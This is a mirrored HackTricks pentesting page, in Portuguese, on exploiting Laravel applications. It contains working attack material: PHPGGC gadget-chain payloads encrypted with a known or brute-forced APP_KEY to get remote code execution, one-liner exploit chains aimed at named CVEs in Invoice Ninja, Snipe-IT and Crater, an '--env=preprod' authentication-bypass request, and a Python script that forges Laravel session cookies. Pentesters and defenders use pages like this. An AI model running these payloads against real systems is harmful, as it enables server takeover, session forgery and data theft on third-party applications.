mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
246 lines
13 KiB
Markdown
246 lines
13 KiB
Markdown
# Laravel
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### Laravel SQLInjection
|
||
|
||
Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||
|
||
---
|
||
|
||
## APP_KEY & Internos de Encryption (Laravel \u003e=5.6)
|
||
|
||
Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por baixo do capô (`Illuminate\\Encryption\\Encrypter`).
|
||
O raw ciphertext que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como:
|
||
```json
|
||
{
|
||
"iv" : "Base64(random 16-byte IV)",
|
||
"value": "Base64(ciphertext)",
|
||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||
}
|
||
```
|
||
`encrypt($value, $serialize=true)` vai `serialize()` o plaintext por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decriptado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via magic methods (`__wakeup`, `__destruct`, …)**.
|
||
|
||
Minimal PoC (framework ≥9.x):
|
||
```php
|
||
use Illuminate\Support\Facades\Crypt;
|
||
|
||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||
```
|
||
Injete a string produzida em qualquer sink `decrypt()` vulnerável (route param, cookie, session, …).
|
||
|
||
---
|
||
|
||
## laravel-crypto-killer 🧨
|
||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo o processo e adiciona um modo **bruteforce** conveniente:
|
||
```bash
|
||
# Encrypt a phpggc chain with a known APP_KEY
|
||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||
|
||
# Decrypt a captured cookie / token
|
||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||
|
||
# Try a word-list of keys against a token (offline)
|
||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||
```
|
||
O script suporta de forma transparente payloads CBC e GCM e regenera o campo HMAC/tag.
|
||
|
||
---
|
||
|
||
## Padrões vulneráveis do mundo real
|
||
|
||
| Project | Sink vulnerável | Gadget chain |
|
||
|---------|-----------------|--------------|
|
||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 |
|
||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||
|
||
O fluxo de exploração é sempre:
|
||
1. Obtenha ou brute-force a `APP_KEY` de 32-byte.
|
||
2. Construa uma gadget chain com **PHPGGC** (por exemplo `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`).
|
||
3. Criptografe o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada.
|
||
4. Entregue o ciphertext ao sink vulnerável `decrypt()` (parâmetro de rota, cookie, session …) para acionar **RCE**.
|
||
|
||
Abaixo estão one-liners concisos demonstrando o caminho completo do ataque para cada CVE do mundo real mencionado acima:
|
||
```bash
|
||
# Invoice Ninja ≤5 – /route/{hash}
|
||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
|
||
xargs -I% curl "https://victim/route/%"
|
||
|
||
# Snipe-IT ≤6 – XSRF-TOKEN cookie
|
||
php7.4 phpggc Laravel/RCE9 system id -b | \
|
||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
|
||
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
|
||
|
||
# Crater – cookie-based session
|
||
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||
```
|
||
## Descoberta em massa de APP_KEY via cookie brute-force
|
||
|
||
Porque toda resposta Laravel nova define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e normalmente `laravel_session`), **scanners públicos da internet (Shodan, Censys, …) leak milhões de ciphertexts** que podem ser atacados offline.
|
||
|
||
Principais achados da pesquisa publicada pela Synacktiv (2024-2025):
|
||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||
* >1 000 servers ainda vulneráveis ao legacy CVE-2018-15133 porque tokens contêm diretamente dados serializados.
|
||
* Reuso massivo de keys – as Top-10 APP_KEYs são defaults hard-coded fornecidos com templates comerciais Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||
|
||
A ferramenta Go privada **nounours** empurra o throughput de AES-CBC/GCM bruteforce para ~1.5 billion tries/s, reduzindo o cracking de todo o dataset para <2 minutos.
|
||
|
||
|
||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||
|
||
Quando o PHP tem `register_argc_argv=On` (típico em muitas distros), o PHP expõe um array `argv` para requisições HTTP derivado da query string. Versões recentes do Laravel parseavam esses args “CLI-like” e respeitavam `--env=<value>` em tempo de execução. Isso permite trocar o environment do framework para a requisição HTTP atual apenas adicionando ao URL:
|
||
|
||
- Quick check:
|
||
- Visite `https://target/?--env=local` ou qualquer string e procure por mudanças dependentes do environment (banners de debug, footers, erros verbose). Se a string for refletida, o override está funcionando.
|
||
|
||
- Impact example (business logic que confia num env especial):
|
||
- Se a app contém ramos como `if (app()->environment('preprod')) { /* bypass auth */ }`, você pode autenticar sem credenciais válidas enviando o POST de login para:
|
||
- `POST /login?--env=preprod`
|
||
|
||
- Notes:
|
||
- Funciona por requisição, sem persistência.
|
||
- Requer `register_argc_argv=On` e uma versão vulnerável do Laravel que lê argv para HTTP.
|
||
- Primitive útil para revelar erros mais verbose em envs “debug” ou para disparar caminhos de código protegidos por environment.
|
||
|
||
- Mitigations:
|
||
- Desabilitar `register_argc_argv` para PHP-FPM/Apache.
|
||
- Atualizar Laravel para ignorar argv em requisições HTTP e remover quaisquer suposições de confiança atreladas a `app()->environment()` em rotas de produção.
|
||
|
||
Minimal exploitation flow (Burp):
|
||
```http
|
||
POST /login?--env=preprod HTTP/1.1
|
||
Host: target
|
||
Content-Type: application/x-www-form-urlencoded
|
||
...
|
||
email=a@b.c&password=whatever&remember=0xdf
|
||
```
|
||
---
|
||
|
||
## Truques do Laravel
|
||
|
||
### Modo de depuração
|
||
|
||
Se o Laravel estiver em **modo de depuração** você conseguirá acessar o **código** e **dados sensíveis**.\
|
||
Por exemplo `http://127.0.0.1:8000/profiles`:
|
||
|
||
.png>)
|
||
|
||
Isso geralmente é necessário para explorar outras Laravel RCE CVEs.
|
||
|
||
### Fingerprinting & endpoints de dev expostos
|
||
|
||
Verificações rápidas para identificar uma stack Laravel e ferramentas de dev perigosas expostas em produção:
|
||
|
||
- `/_ignition/health-check` → Ignition presente (ferramenta de depuração usada por CVE-2021-3129). Se acessível sem autenticação, a aplicação pode estar em modo de depuração ou mal configurada.
|
||
- `/_debugbar` → assets do Laravel Debugbar; frequentemente indica modo de depuração.
|
||
- `/telescope` → Laravel Telescope (monitor de dev). Se público, espere ampla divulgação de informações e possíveis ações.
|
||
- `/horizon` → Painel de filas; divulgação de versão e às vezes ações protegidas por CSRF.
|
||
- `X-Powered-By`, cookies `XSRF-TOKEN` e `laravel_session`, e páginas de erro Blade também ajudam no fingerprint.
|
||
```bash
|
||
# Nuclei quick probe
|
||
nuclei -nt -u https://target -tags laravel -rl 30
|
||
# Manual spot checks
|
||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||
```
|
||
### .env
|
||
|
||
O Laravel salva o APP que usa para encrypt os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando algum path traversal em: `/../.env`
|
||
|
||
O Laravel também mostrará essa informação na página de debug (que aparece quando o Laravel encontra um erro e está ativado).
|
||
|
||
Usando a APP_KEY secreta do Laravel você pode decrypt e re-encrypt cookies:
|
||
|
||
### Decrypt Cookie
|
||
```python
|
||
import os
|
||
import json
|
||
import hashlib
|
||
import sys
|
||
import hmac
|
||
import base64
|
||
import string
|
||
import requests
|
||
from Crypto.Cipher import AES
|
||
from phpserialize import loads, dumps
|
||
|
||
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
|
||
|
||
def mcrypt_decrypt(value, iv):
|
||
global key
|
||
AES.key_size = [len(key)]
|
||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||
return crypt_object.decrypt(value)
|
||
|
||
|
||
def mcrypt_encrypt(value, iv):
|
||
global key
|
||
AES.key_size = [len(key)]
|
||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||
return crypt_object.encrypt(value)
|
||
|
||
|
||
def decrypt(bstring):
|
||
global key
|
||
dic = json.loads(base64.b64decode(bstring).decode())
|
||
mac = dic['mac']
|
||
value = bytes(dic['value'], 'utf-8')
|
||
iv = bytes(dic['iv'], 'utf-8')
|
||
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
|
||
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
|
||
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
|
||
return ''
|
||
|
||
|
||
def encrypt(string):
|
||
global key
|
||
iv = os.urandom(16)
|
||
#string = dumps(string)
|
||
padding = 16 - len(string) % 16
|
||
string += bytes(chr(padding) * padding, 'utf-8')
|
||
value = base64.b64encode(mcrypt_encrypt(string, iv))
|
||
iv = base64.b64encode(iv)
|
||
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
|
||
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
|
||
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||
|
||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||
key = base64.b64decode(app_key)
|
||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||
```
|
||
### Laravel Deserialization RCE
|
||
|
||
Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||
|
||
Informações sobre a deserialization vulnerability podem ser encontradas aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||
|
||
Você pode testá-la e exploitá-la usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||
Ou você também pode exploitá-la com metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||
|
||
### CVE-2021-3129
|
||
|
||
Outra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||
|
||
|
||
|
||
## Referências
|
||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|